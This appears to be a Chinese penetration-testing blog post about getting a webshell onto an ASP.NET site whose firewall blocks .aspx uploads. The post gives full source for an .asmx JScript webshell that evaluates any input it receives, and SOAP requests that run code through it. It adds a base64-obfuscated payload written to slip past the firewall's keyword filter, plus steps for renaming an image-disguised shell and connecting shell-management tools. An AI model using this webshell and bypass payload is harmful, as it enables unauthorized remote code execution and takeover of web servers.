测试
在上传webshell的时候遇见asp.net的站,传aspx被拦截,测试发现能够解析asmx,搜了下发现这篇文章https://www.cnblogs.com/Ivan1ee/p/10278625.html
执行命令
直接拉到重点看到服务端实现的代码。
<%@ WebService Language="JScript" class="asmxWebMethodSpy"%>
import System;
import System.Web;
import System.IO;
import System.Web.Services;
public class asmxWebMethodSpy extends WebService
{
WebMethodAttribute function Invoke(Ivan: String) : Void
{
var I = HttpContext.Current;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>");
eval(Ivan);
}
}
直接上传后访问如下
按照文章中的操作post数据包,页面返回时间,说明执行命令成功。但是执行敏感操作是被waf拦截,应该是存在关键字。
POST /UploadFiles/Content/file/xxx HTTP/1.1
Host: xxx.xxx.xxx
Content-Type: text/xml; charset=utf-8
Content-Length: 1771
SOAPAction: "http://tempuri.org/Invoke"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Invoke xmlns="http://tempuri.org/">
<Ivan>Response.Write(DateTime.Now);</Ivan>
</Invoke>
</soap:Body>
</soap:Envelope>
参考其他流量加密的shell管理工具的数据包,修改执行命令的数据包如下。
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Invoke xmlns="http://tempuri.org/">
<Ivan>Response.Write("e600c");var err:Exception;try{eval(System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String("dmFyIGNtZD0iZDJodllXMXAiO3ZhciBjPW5ldyBTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzc1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c2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkgKyBFSS5SZWFkVG9FbmQoKSk7")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("89f96f3");Response.End()</Ivan>
</Invoke>
</soap:Body>
</soap:Envelope>
上面数据包执行的命令是whoami,后面就简单了,上传一个jpg的shell,使用mv命令改为后缀aspx,上那个冰蝎连接。(出来了一个好像更牛逼的叫哥斯拉在github上搜Godzilla)